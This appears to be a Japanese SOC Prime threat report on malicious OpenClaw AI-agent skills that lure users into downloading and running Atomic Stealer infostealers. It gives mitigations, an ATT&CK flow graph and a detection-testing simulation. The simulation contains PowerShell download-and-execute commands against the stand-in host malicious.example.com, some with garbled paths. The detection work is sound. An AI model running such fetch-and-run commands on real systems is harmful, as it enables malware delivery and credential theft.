SOC Prime Bias: クリティカル

04 2月 2026 17:31

自動化から感染へ:OpenClaw AIエージェントのスキルが武器化される方法

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
自動化から感染へ:OpenClaw AIエージェントのスキルが武器化される方法
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

この記事は、自己ホスト型AIエージェントプラットフォームのユーザー向けに、悪質なOpenClawスキルがマルウェア配信の手段として使用されている方法を説明しています。脅威アクターは、一見無害に見えるスキルを公開し、最終的には被害者を外部ソースから攻撃者制御のバイナリをダウンロードして実行させるように誘導します。観察されたペイロードには、Windows実行可能ファイルやmacOSのMach-Oファイルなど、Atomic Stealer情報窃盗ファミリーのバリアントとして特定されたものが含まれています。この活動は、コミュニティ提供のスキルに依存する個人および開発者ワークステーションにとって、実用的なサプライチェーンのリスクをもたらします。

調査

VirusTotal Code Insightは、3,000以上のOpenClawスキルをレビューし、数百の悪意あるまたは高リスクの動作を示しているものを表面化しました。ある例では、hightower6euがアップロードしたスキルが、GitHubからパスワード保護されたZIPアーカイブをダウンロードし(パスワード: openclaw)、Windowsでopenclaw-agent.exeを実行するためのステップバイステップの指示を提供しました。macOSでは、同じスキルがglot.ioからBase64エンコードされたスクリプトを取得し、Mach-O実行可能ファイルをダウンロードして実行するようユーザーに指示しました。結果として得られたバイナリは、複数のセキュリティエンジンによってトロイの木馬化された情報窃盗として検出されました。

緩和策

スキルリポジトリを不信頼のコードとして扱い、OpenClawをサンドボックス化されたまたは厳しく制限された環境で実行してください。スキルの説明からコマンドを貼り付けることを避け、検証されていない外部リンクから取得したバイナリを実行しないでください。マーケットプレイスおよびコミュニティオペレーターは、リモートダウンロードの動作、難解化されたスクリプトロジック、または認証情報の盗難やデータの流出の指標に焦点を当てた公開時スキャンを実装してください。企業環境では、コミュニティで作成されたスキルをインストールするリスクについてユーザーに教育し、使用前にレビューを要求してください。

対応策

外部ダウンロードURL、パスワード保護されたアーカイブ、またはエンコードされたコマンドステージャが参照されているOpenClawスキルパッケージをハントしてください。未知のバイナリであるopenclaw-agent.exeの実行や、スクリプト化されたダウンロード活動に続く怪しいMach-Oの起動をアラートしてください。既知の悪意あるドメインへの接続をブロックし、影響を受けたシステムを隔離して、情報窃盗の実行や認証情報の露出が発生したかどうかを確認するためのフォレンジックトリアージを行ってください。

“graph TB %% クラス定義セクション classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef process fill:#ffcc99 %% 手法ノード tech_software_extensions[“<b>手法</b> – T1176 ソフトウェア拡張<br/><b>説明</b>: 敵対者は、悪質な拡張機能やパッケージをマーケットプレイスに公開し、マルウェアを合法的な機能に偽装します。”] class tech_software_extensions technique tech_user_execution[“<b>手法</b> – T1204.002 ユーザー実行: 悪意あるファイル<br/><b>説明</b>: 被害者は、追加のペイロードをダウンロードして実行する悪意あるファイルを実行するように騙されます。”] class tech_user_execution technique tech_embedded_payloads[“<b>手法</b> – T1027.009 埋め込みペイロード<br/><b>説明</b>: 悪意あるコードは、検出を回避するために他のファイルやスクリプトに隠されています。”] class tech_embedded_payloads technique tech_polymorphic_code[“<b>手法</b> – T1027.014 ポリモーフィックコード<br/><b>説明</b>: コードは、機能を保持しつつ外観を変更し、防御を迂回します。”] class tech_polymorphic_code technique tech_decode[“<b>手法</b> – T1140 難読化/デコードファイルまたは情報<br/><b>説明</b>: 被害者は、実行前に難読化されたペイロードをデコードまたは復号化します。”] class tech_decode technique tech_content_injection[“<b>手法</b> – T1659 コンテンツ注入<br/><b>説明</b>: 敵対者は、ダウンロードリンクやスクリプトなどの悪意あるコンテンツを正規のワークフローに注入します。”] class tech_content_injection technique %% マルウェア/ペイロードノード malware_infostealer[“<b>マルウェア</b> – 情報窃盗型トロイの木馬<br/><b>説明</b>: 被害者のシステムから認証情報、閲覧履歴、およびその他の機密データを収集します。”] class malware_infostealer malware %% プロセスノード proc_download_execute[“<b>プロセス</b> – 外部バイナリのダウンロードと実行<br/><b>説明</b>: スキルから取得されたコマンドは追加のバイナリをダウンロードし、それらを起動します。”] class proc_download_execute process proc_decode_execute[“<b>プロセス</b> – ペイロードのデコードと実行<br/><b>説明</b>: Base64エンコードされたスクリプトがデコードされ、結果として得られるトロイの木馬が実行されます。”] class proc_decode_execute process %% 攻撃フローを示す接続 tech_software_extensions u002du002d>|leads_to| tech_user_execution tech_user_execution u002du002d>|triggers| proc_download_execute proc_download_execute u002du002d>|contains| tech_embedded_payloads proc_download_execute u002du002d>|contains| tech_polymorphic_code proc_download_execute u002du002d>|enables| tech_decode tech_decode u002du002d>|facilitates| proc_decode_execute proc_decode_execute u002du002d>|executes| malware_infostealer malware_infostealer u002du002d>|enables| tech_content_injection “

攻撃フロー

シミュレーション実行

前提条件: テレメトリとベースラインの事前チェックが合格していること。

根拠: このセクションでは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行を詳細に説明します。コマンドと説明は特定されたTTPを直接反映し、検出ロジックによって予想される正確なテレメトリを生成することを目的としています。

  • 攻撃の流れとコマンド:
    攻撃者は被害者のワークステーションへの初期アクセスを取得し、悪意あるバイナリをドロップしました openclaw-agent.exe ユーザーの一時ディレクトリに。バイナリは、キーワードを明示的に含むコマンドラインで実行されます ダウンロード and 実行 信頼できないC2サーバーから追加のペイロードを引き出し、メモリ上で実行します。攻撃者は標準のWindowsコマンドプロンプトを使用してPowerShell特有の検出を回避し、Sigmaルールの期待に一致させます。

    1. ペイロードをドロップ:
      $malPath = "$env:TEMPopenclaw-agent.exe"
      Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath
    2. 疑わしい引数で実行:
      "%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute
    3. エージェントはC2サーバーに接続し、ダウンロード payload.bin、ディスクに書き込み、それを起動します。すべて、元のプロセスコマンドラインにはまだトリガーワードが含まれています。
  • 回帰テストスクリプト:

    # -----------------------------------------------------------------------
    # OpenClawエージェント実行シミュレーション – Sigma検出をトリガー
    # -----------------------------------------------------------------------
    # 1. 悪意あるエージェントをダウンロードする (無害なファイルでシミュレーション)
    $agentUrl   = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi"  # プレースホルダーの無害なファイル
    $agentPath  = "$env:TEMPopenclaw-agent.exe"
    Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath
    
    # 2. 予想されるコマンドラインキーワードでエージェントを実行
    $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute"
    Write-Host "Executing: $cmd"
    Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait
    
    # 3. オプション: ペイロードダウンロードをシミュレート (無害なスタブ)
    $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md"
    $payloadPath = "$env:TEMPpayload.bin"
    Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath
    
    Write-Host "Simulation complete. Check SIEM for detection."
  • クリーンアップコマンド:

    # シミュレーション中に作成されたすべてのアーティファクトを削除
    $paths = @(
        "$env:TEMPopenclaw-agent.exe",
        "$env:TEMPpayload.bin"
    )
    foreach ($p in $paths) {
        if (Test-Path $p) {
            Remove-Item -Path $p -Force
            Write-Host "Deleted $p"
        }
    }